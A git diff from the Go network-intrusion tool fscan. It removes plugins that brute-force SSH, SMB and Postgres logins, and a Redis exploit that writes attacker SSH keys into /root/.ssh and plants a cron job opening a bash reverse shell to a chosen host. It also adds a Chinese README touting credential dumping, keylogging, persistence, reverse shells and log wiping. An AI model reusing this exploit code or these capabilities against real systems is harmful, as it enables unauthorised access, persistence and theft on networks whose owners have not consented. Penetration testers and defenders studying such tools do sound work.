}else if(len(hostslist)>150 && len(hostslist)<=200){
|
|
||||||
lm = 70
|
|
||||||
}else if(len(hostslist)>200){
|
|
||||||
lm = 75
|
|
||||||
}
|
|
||||||
|
|
||||||
thread := 5
|
|
||||||
if (len(probePorts)>500 && len(probePorts)<=4000) {
|
|
||||||
thread = len(probePorts)/100
|
|
||||||
}else if (len(probePorts)>4000 && len(probePorts)<=6000) {
|
|
||||||
thread = len(probePorts)/200
|
|
||||||
}else if (len(probePorts)>6000 && len(probePorts)<=10000) {
|
|
||||||
thread = len(probePorts)/350
|
|
||||||
}else if (len(probePorts)>10000 && len(probePorts)<50000){
|
|
||||||
thread = len(probePorts)/400
|
|
||||||
}else if (len(probePorts)>=50000 && len(probePorts)<=65535){
|
|
||||||
thread = len(probePorts)/500
|
|
||||||
}
|
|
||||||
|
|
||||||
var wg sync.WaitGroup
|
|
||||||
mutex := &sync.Mutex{}
|
|
||||||
limiter := make(chan struct{}, lm)
|
|
||||||
aliveHost := make(chan string, lm/2)
|
|
||||||
go func() {
|
|
||||||
for s := range aliveHost {
|
|
||||||
fmt.Println(s)
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
for _,host :=range hostslist{
|
|
||||||
wg.Add(1)
|
|
||||||
limiter <- struct{}{}
|
|
||||||
go func(host string) {
|
|
||||||
defer wg.Done()
|
|
||||||
if aliveAdd, err := ScanAllports(host, probePorts,thread, 5*time.Second,model,timeout);err == nil && len(aliveAdd)>0{
|
|
||||||
mutex.Lock()
|
|
||||||
aliveHosts = append(aliveHosts,host)
|
|
||||||
for _,addr :=range aliveAdd{
|
|
||||||
AliveAddress = append(AliveAddress,addr)
|
|
||||||
}
|
|
||||||
mutex.Unlock()
|
|
||||||
}
|
|
||||||
<-limiter
|
|
||||||
}(host)
|
|
||||||
}
|
|
||||||
wg.Wait()
|
|
||||||
close(aliveHost)
|
|
||||||
return aliveHosts,AliveAddress
|
|
||||||
}
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"database/sql"
|
|
||||||
"fmt"
|
|
||||||
_ "github.com/lib/pq"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
func PostgresScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
Loop:
|
|
||||||
for _,user:=range common.Userdict["postgresql"]{
|
|
||||||
for _,pass:=range common.Passwords{
|
|
||||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
|
||||||
flag,err := PostgresConn(info,user,pass)
|
|
||||||
if flag==true && err==nil {
|
|
||||||
break Loop
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
}
|
|
||||||
|
|
||||||
func PostgresConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
|
||||||
flag = false
|
|
||||||
Host,Port,Username,Password := info.Host, common.PORTList["psql"],user, pass
|
|
||||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host,Port, "postgres", "disable")
|
|
||||||
db, err := sql.Open("mysql", dataSourceName)
|
|
||||||
if err == nil {
|
|
||||||
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
|
||||||
defer db.Close()
|
|
||||||
err = db.Ping()
|
|
||||||
if err == nil {
|
|
||||||
result := fmt.Sprintf("Postgres:%v:%v:%v %v",Host,Port,Username,Password)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@@ -1,207 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"bufio"
|
|
||||||
"fmt"
|
|
||||||
"net"
|
|
||||||
"os"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
func RedisScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
flag,err := RedisUnauth(info)
|
|
||||||
if flag==true && err==nil {
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
Loop:
|
|
||||||
for _,pass:=range common.Passwords{
|
|
||||||
pass = strings.Replace(pass, "{user}", string("redis"), -1)
|
|
||||||
flag,err := RedisConn(info,pass)
|
|
||||||
if flag==true && err==nil {
|
|
||||||
break Loop
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
}
|
|
||||||
|
|
||||||
func RedisConn(info *common.HostInfo,pass string)(flag bool,err error){
|
|
||||||
flag = false
|
|
||||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
|
|
||||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
|
||||||
if err != nil{
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
defer conn.Close()
|
|
||||||
conn.Write([]byte(fmt.Sprintf("auth %s\r\n",pass)))
|
|
||||||
reply,err := readreply(conn)
|
|
||||||
if strings.Contains(reply,"+OK"){
|
|
||||||
result := fmt.Sprintf("Redis:%s %s",realhost,pass)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
flag = true
|
|
||||||
Expoilt(info ,realhost,conn)
|
|
||||||
|
|
||||||
}
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
func RedisUnauth(info *common.HostInfo) (flag bool,err error) {
|
|
||||||
flag = false
|
|
||||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
|
|
||||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
|
||||||
if err != nil{
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
defer conn.Close()
|
|
||||||
conn.Write([]byte("info\r\n"))
|
|
||||||
reply,err := readreply(conn)
|
|
||||||
if strings.Contains(reply,"redis_version"){
|
|
||||||
result := fmt.Sprintf("Redis:%s unauthorized",realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
flag = true
|
|
||||||
Expoilt(info ,realhost,conn)
|
|
||||||
}
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
|
|
||||||
func Expoilt(info *common.HostInfo,realhost string,conn net.Conn) {
|
|
||||||
flagSsh,flagCron := testwrite(conn)
|
|
||||||
if flagSsh == true{
|
|
||||||
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/",realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
if info.RedisFile != ""{
|
|
||||||
if writeok,text := writekey(conn,info.RedisFile);writeok{
|
|
||||||
result := fmt.Sprintf("%v SSH public key was written successfully",realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}else {
|
|
||||||
fmt.Println("Redis:",realhost,"SSHPUB write failed",text)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if flagCron == true{
|
|
||||||
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/",realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
if info.RedisShell != "" {
|
|
||||||
if writeok,text := writecron(conn,info.RedisShell);writeok{
|
|
||||||
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully",realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}else {
|
|
||||||
fmt.Println("Redis:",realhost,"cron write failed",text)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
func writekey(conn net.Conn,filename string) (flag bool,text string) {
|
|
||||||
flag = false
|
|
||||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
|
||||||
text,_ = readreply(conn)
|
|
||||||
if strings.Contains(text,"OK") {
|
|
||||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
|
||||||
text,_ = readreply(conn)
|
|
||||||
if strings.Contains(text,"OK") {
|
|
||||||
key,_ := Readfile(filename)
|
|
||||||
conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n",key)))
|
|
||||||
text,_ = readreply(conn)
|
|
||||||
if strings.Contains(text,"OK") {
|
|
||||||
conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
|
||||||
text,_ = readreply(conn)
|
|
||||||
if strings.Contains(text,"OK") {
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
text = strings.TrimSpace(text)
|
|
||||||
if len(text) > 50{
|
|
||||||
text = text[:50]
|
|
||||||
}
|
|
||||||
return flag,text
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
func writecron(conn net.Conn,host string) (flag bool,text string) {
|
|
||||||
flag = false
|
|
||||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
|
||||||
text,_ = readreply(conn)
|
|
||||||
if strings.Contains(text,"OK") {
|
|
||||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
|
||||||
text,_ = readreply(conn)
|
|
||||||
if strings.Contains(text,"OK") {
|
|
||||||
scan_ip,scan_port := strings.Split(host,":")[0],strings.Split(host,":")[1]
|
|
||||||
conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",scan_ip,scan_port)))
|
|
||||||
text,_ = readreply(conn)
|
|
||||||
if strings.Contains(text,"OK") {
|
|
||||||
conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
|
||||||
text,_ = readreply(conn)
|
|
||||||
if strings.Contains(text,"OK") {
|
|
||||||
flag = true
|
|
||||||
}//else {fmt.Println(text)}
|
|
||||||
}//else {fmt.Println(text)}
|
|
||||||
}//else {fmt.Println(text)}
|
|
||||||
}//else {fmt.Println(text)}
|
|
||||||
text = strings.TrimSpace(text)
|
|
||||||
if len(text) > 50{
|
|
||||||
text = text[:50]
|
|
||||||
}
|
|
||||||
return flag,text
|
|
||||||
}
|
|
||||||
|
|
||||||
func Readfile(filename string)(string,error){
|
|
||||||
file, err := os.Open(filename)
|
|
||||||
if err!=nil{
|
|
||||||
fmt.Println("Open %s error, %v", filename,err)
|
|
||||||
return err.Error(),err
|
|
||||||
}
|
|
||||||
defer file.Close()
|
|
||||||
scanner := bufio.NewScanner(file)
|
|
||||||
for scanner.Scan() {
|
|
||||||
text := strings.TrimSpace(scanner.Text())
|
|
||||||
if text != "" {
|
|
||||||
return text,nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return err.Error(),err
|
|
||||||
}
|
|
||||||
|
|
||||||
func readreply(conn net.Conn) (result string,err error) {
|
|
||||||
buf := make([]byte, 4096)
|
|
||||||
for {
|
|
||||||
count, err := conn.Read(buf)
|
|
||||||
if err != nil {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
result += string(buf[0:count])
|
|
||||||
if count < 4096 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return result,err
|
|
||||||
}
|
|
||||||
|
|
||||||
func testwrite(conn net.Conn) (flagSsh bool,flagCron bool) {
|
|
||||||
flagSsh = false
|
|
||||||
flagCron = false
|
|
||||||
var text string
|
|
||||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
|
||||||
text,_ = readreply(conn)
|
|
||||||
if strings.Contains(string(text),"OK") {
|
|
||||||
flagSsh = true
|
|
||||||
}
|
|
||||||
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
|
||||||
text,_ = readreply(conn)
|
|
||||||
if strings.Contains(string(text),"OK") {
|
|
||||||
flagCron = true
|
|
||||||
}
|
|
||||||
return flagSsh,flagCron
|
|
||||||
}
|
|
||||||
@@ -1,81 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"reflect"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
)
|
|
||||||
func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
|
|
||||||
f := reflect.ValueOf(m[name])
|
|
||||||
if len(infos) != f.Type().NumIn() {
|
|
||||||
err = errors.New("The number of infos is not adapted.")
|
|
||||||
if err != nil {
|
|
||||||
fmt.Println(err.Error())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
in := make([]reflect.Value, len(infos))
|
|
||||||
for k, info := range infos {
|
|
||||||
in[k] = reflect.ValueOf(info)
|
|
||||||
}
|
|
||||||
result = f.Call(in)
|
|
||||||
return result,nil
|
|
||||||
}
|
|
||||||
func IsContain(items []string, item string) bool {
|
|
||||||
for _, eachItem := range items {
|
|
||||||
if eachItem == item {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
func Scan(info common.HostInfo) {
|
|
||||||
fmt.Println("scan start")
|
|
||||||
Hosts,_ := common.ParseIP(info.Host,info.HostFile)
|
|
||||||
if info.Isping == false{
|
|
||||||
Hosts = ICMPRun(Hosts,info.IcmpThreads)
|
|
||||||
}
|
|
||||||
_,AlivePorts := TCPportScan(Hosts,info.Ports,"icmp",3) //return AliveHosts,AlivePorts
|
|
||||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
|
||||||
for _,port:=range common.PORTList{
|
|
||||||
severports = append(severports,strconv.Itoa(port))
|
|
||||||
}
|
|
||||||
severports1 := []string{"1521"} //no scan these service
|
|
||||||
var ch = make(chan int,info.Threads)
|
|
||||||
var wg = sync.WaitGroup{}
|
|
||||||
var scantype string
|
|
||||||
for _,targetIP :=range AlivePorts{
|
|
||||||
scan_ip,scan_port := strings.Split(targetIP,":")[0],strings.Split(targetIP,":")[1]
|
|
||||||
info.Host = scan_ip
|
|
||||||
if info.Scantype == "all"{
|
|
||||||
if IsContain(severports,scan_port){
|
|
||||||
AddScan(scan_port,info,ch,&wg)
|
|
||||||
}else {
|
|
||||||
if !IsContain(severports1,scan_port){
|
|
||||||
info.Ports = scan_port
|
|
||||||
AddScan("1000003",info,ch,&wg) //webtitle
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if scan_port == "445"{ //scan more vul
|
|
||||||
AddScan("1000001",info,ch,&wg)
|
|
||||||
AddScan("1000002",info,ch,&wg)
|
|
||||||
}
|
|
||||||
}else {
|
|
||||||
port,_:=common.PORTList_bak[info.Scantype]
|
|
||||||
scantype = strconv.Itoa(port)
|
|
||||||
AddScan(scantype,info,ch,&wg)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
func AddScan(scantype string,info common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
wg.Add(1)
|
|
||||||
if info.Scantype == "webtitle"{scantype = "1000003"}
|
|
||||||
go scan_func(PluginList,scantype,&info,ch,wg)
|
|
||||||
ch <- 1
|
|
||||||
}
|
|
||||||
@@ -1,69 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"fmt"
|
|
||||||
"github.com/stacktitan/smb/smb"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
"context"
|
|
||||||
)
|
|
||||||
func SmbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
|
|
||||||
Loop:
|
|
||||||
for _,user:=range common.Userdict["smb"]{
|
|
||||||
for _,pass:=range common.Passwords{
|
|
||||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
|
||||||
flag,err := doWithTimeOut(info,user,pass)
|
|
||||||
if flag==true && err==nil {
|
|
||||||
break Loop
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
|
||||||
flag = false
|
|
||||||
Host,Port,Username,Password := info.Host, common.PORTList["smb"],user, pass
|
|
||||||
options := smb.Options{
|
|
||||||
Host: Host,
|
|
||||||
Port: 445,
|
|
||||||
User: Username,
|
|
||||||
Password: Password,
|
|
||||||
Domain: "",
|
|
||||||
Workstation: "",
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
session, err := smb.NewSession(options, false)
|
|
||||||
if err == nil {
|
|
||||||
defer session.Close()
|
|
||||||
if session.IsAuthenticated {
|
|
||||||
result := fmt.Sprintf("SMB:%v:%v:%v %v",Host,Port,Username,Password)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return flag,err
|
|
||||||
}
|
|
||||||
|
|
||||||
func doWithTimeOut(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
|
||||||
ctx,cancel := context.WithTimeout(context.Background(),time.Duration(info.Timeout)*time.Second)
|
|
||||||
defer cancel()
|
|
||||||
signal := make(chan int,1)
|
|
||||||
go func() {
|
|
||||||
flag,err = SmblConn(info,user,pass)
|
|
||||||
signal <- 1
|
|
||||||
}()
|
|
||||||
|
|
||||||
select {
|
|
||||||
case <-signal:
|
|
||||||
return flag,err
|
|
||||||
case <-ctx.Done():
|
|
||||||
return false,err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,60 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"fmt"
|
|
||||||
"golang.org/x/crypto/ssh"
|
|
||||||
"net"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
func SshScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
|
||||||
Loop:
|
|
||||||
for _,user:=range common.Userdict["ssh"]{
|
|
||||||
for _,pass:=range common.Passwords{
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
flag,err := SshConn(info,user,pass)
|
|
||||||
if flag==true && err==nil {
|
|
||||||
break Loop
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
<- ch
|
|
||||||
}
|
|
||||||
|
|
||||||
func SshConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
|
||||||
flag = false
|
|
||||||
Host,Port,Username,Password := info.Host, common.PORTList["ssh"],user, pass
|
|
||||||
config := &ssh.ClientConfig{
|
|
||||||
User: Username,
|
|
||||||
Auth: []ssh.AuthMethod{
|
|
||||||
ssh.Password(Password),
|
|
||||||
},
|
|
||||||
Timeout: time.Duration(info.Timeout)*time.Second,
|
|
||||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
|
||||||
return nil
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
|
|
||||||
if err == nil {
|
|
||||||
defer client.Close()
|
|
||||||
session, err := client.NewSession()
|
|
||||||
if err == nil {
|
|
||||||
defer session.Close()
|
|
||||||
flag = true
|
|
||||||
if info.Command != ""{
|
|
||||||
combo,_ := session.CombinedOutput(info.Command)
|
|
||||||
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v",Host,Port,Username,Password,string(combo))
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}else {
|
|
||||||
result := fmt.Sprintf("SSH:%v:%v:%v %v",Host,Port,Username,Password)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return flag,err
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,83 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"../common"
|
|
||||||
"fmt"
|
|
||||||
"io/ioutil"
|
|
||||||
"net/http"
|
|
||||||
"regexp"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
func WebTitle(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
|
|
||||||
info.Url = fmt.Sprintf("http://%s:%s",info.Host,info.Ports)
|
|
||||||
err,result = geturl(info)
|
|
||||||
wg.Done()
|
|
||||||
<-ch
|
|
||||||
return err, result
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
func geturl(info *common.HostInfo) (err error, result string) {
|
|
||||||
url := info.Url
|
|
||||||
var client = &http.Client{Timeout:time.Duration(info.Timeout)*time.Second }
|
|
||||||
res,err:=http.NewRequest("GET",url,nil)
|
|
||||||
if err==nil{
|
|
||||||
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
|
||||||
res.Header.Add("Accept","*/*")
|
|
||||||
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
|
|
||||||
res.Header.Add("Accept-Encoding","gzip, deflate")
|
|
||||||
res.Header.Add("Connection","close")
|
|
||||||
resp,err:=client.Do(res)
|
|
||||||
if err==nil{
|
|
||||||
defer resp.Body.Close()
|
|
||||||
var title string
|
|
||||||
body, _ := ioutil.ReadAll(resp.Body)
|
|
||||||
re :=regexp.MustCompile("<title>(.*)</title>")
|
|
||||||
find := re.FindAllStringSubmatch(string(body),-1)
|
|
||||||
if len(find) > 0{
|
|
||||||
title = find[0][1]
|
|
||||||
}else {
|
|
||||||
title = "None"
|
|
||||||
}
|
|
||||||
if len(title) > 50{
|
|
||||||
title = title[:50]
|
|
||||||
}
|
|
||||||
if resp.StatusCode == 400 && string(url[5]) != "https"{
|
|
||||||
info.Url = strings.Replace(url, "http://", "https://", 1)
|
|
||||||
return geturl(info)
|
|
||||||
}else {
|
|
||||||
result = fmt.Sprintf("WebTitle:%v %v %v",url,resp.StatusCode,title)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
return err, result
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return err, ""
|
|
||||||
}
|
|
||||||
//var client = &http.Client{
|
|
||||||
// Transport:&http.Transport{
|
|
||||||
// DialContext:(&net.Dialer{
|
|
||||||
// Timeout:time.Duration(info.Timeout)*time.Second,
|
|
||||||
// }).DialContext,
|
|
||||||
// },
|
|
||||||
// CheckRedirect:func(req *http.Request, via []*http.Request) error{
|
|
||||||
// return http.ErrUseLastResponse
|
|
||||||
// },
|
|
||||||
//}
|
|
||||||
|
|
||||||
//if info.Cookie!=""{
|
|
||||||
// res.Header.Add("Cookie",info.Cookie)
|
|
||||||
//}
|
|
||||||
//if info.Header!=""{
|
|
||||||
// var header = make(map[string]string)
|
|
||||||
// err:=json.Unmarshal([]byte(info.Header),&header)
|
|
||||||
// if err!=nil{
|
|
||||||
// Misc.CheckErr(err)
|
|
||||||
// }
|
|
||||||
// for k,v:=range header{
|
|
||||||
// res.Header.Add(k,v)
|
|
||||||
// }
|
|
||||||
//}
|
|
||||||
@@ -1,103 +1,292 @@
|
|||||||
# fscan
|
# Fscan
|
||||||
|
|
||||||
# 简介
|
[English](README_EN.md)
|
||||||
一款内网扫描工具,方便一键大保健。
|
|
||||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息等。
|
|
||||||
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
|
|
||||||
还在逐步增加功能,欢迎各位师傅提意见。
|
|
||||||
|
|
||||||
|
内网综合扫描工具,一键自动化漏扫。
|
||||||
|
|
||||||
## why
|
**版本**: 2.2.1
|
||||||
为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan
|
|
||||||
|
|
||||||
答:
|
## 功能特性
|
||||||
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
|
|
||||||
|
|
||||||
## 最近更新
|
### 扫描能力
|
||||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认3000,适合扫B段
|
- **主机发现** - ICMP/Ping存活探测,支持大网段B/C段存活统计
|
||||||
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
|
- **端口扫描** - TCP全连接扫描,内置133个常用端口,支持端口组(web/db/service/all)
|
||||||
|
- **服务识别** - 智能协议识别,支持20+种服务指纹匹配
|
||||||
|
- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
|
||||||
|
|
||||||
## usege
|
### 爆破能力
|
||||||
简单用法
|
- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
|
||||||
```
|
- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
|
||||||
go run main.go -h 192.168.1.1/24
|
- **SSH密钥登录** - 支持私钥认证方式
|
||||||
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
|
- **智能字典** - 内置100+常见弱密码,支持{user}变量替换
|
||||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
|
### 漏洞检测
|
||||||
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
|
- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
|
||||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
|
- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
|
||||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
- **POC扫描** - 集成Web漏洞POC,支持Xray POC格式
|
||||||
```
|
- **DNSLog** - 支持DNSLog外带检测
|
||||||
```
|
|
||||||
-h 192.168.1.1/24 (C段)
|
### 漏洞利用
|
||||||
-h 192.168.1.1/16 (B段)
|
- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
|
||||||
-h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
|
- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令
|
||||||
-hf ip.txt (以文件导入)
|
- **SSH命令执行** - 认证成功后自动执行命令
|
||||||
|
|
||||||
|
### 本地模块
|
||||||
|
- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
|
||||||
|
- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
|
||||||
|
- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
|
||||||
|
- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
|
||||||
|
- **杀软检测** - 识别目标主机安装的安全软件
|
||||||
|
- **痕迹清理** - 日志清理工具
|
||||||
|
|
||||||
|
### 输入输出
|
||||||
|
- **目标输入** - IP/CIDR/域名/URL,支持文件批量导入
|
||||||
|
- **排除规则** - 支持排除特定主机、端口
|
||||||
|
- **输出格式** - TXT/JSON/CSV多格式输出
|
||||||
|
- **静默模式** - 无Banner、无进度条、无颜色输出
|
||||||
|
|
||||||
|
### 网络控制
|
||||||
|
- **代理支持** - HTTP/SOCKS5代理,支持指定网卡
|
||||||
|
- **发包控制** - 速率限制、最大发包数量控制
|
||||||
|
- **超时控制** - 端口超时、Web超时、全局超时独立配置
|
||||||
|
- **并发控制** - 端口扫描线程、服务扫描线程独立配置
|
||||||
|
|
||||||
|
### 扩展功能
|
||||||
|
- **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯
|
||||||
|
- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
|
||||||
|
- **Lab靶场环境** - 内置Docker靶场用于测试学习
|
||||||
|
- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展
|
||||||
|
- **多语言支持** - 中英文界面切换(-lang zh/en)
|
||||||
|
- **性能统计** - JSON格式性能报告(-perf)
|
||||||
|
|
||||||
|
## v2.1.0 更新日志
|
||||||
|
|
||||||
|
> 本次更新包含 **262个提交**,涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
|
||||||
|
|
||||||
|
### 架构重构
|
||||||
|
- **全局变量消除** - 迁移至Config/State对象,提升并发安全和可测试性
|
||||||
|
- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件,新增smb_protocol.go
|
||||||
|
- **服务探测重构** - 实现Nmap风格fallback机制,优化端口指纹识别策略
|
||||||
|
- **输出系统重构** - TXT实时刷盘+双写机制,解决结果丢失和乱序问题
|
||||||
|
- **i18n框架升级** - 迁移至go-i18n,完整覆盖core/plugins/webscan模块
|
||||||
|
- **HostInfo重构** - Ports字段从string改为int,类型安全
|
||||||
|
- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
|
||||||
|
- **代码审计** - 修复P0-P2级别问题,清理deadcode
|
||||||
|
- **日志系统优化** - LogDebug调用清理(71→18),精简启动日志输出
|
||||||
|
|
||||||
|
### 性能优化
|
||||||
|
- **正则预编译** - 全局正则表达式预编译,避免重复编译开销
|
||||||
|
- **内存优化** - map[string]bool改为map[string]struct{}节省内存
|
||||||
|
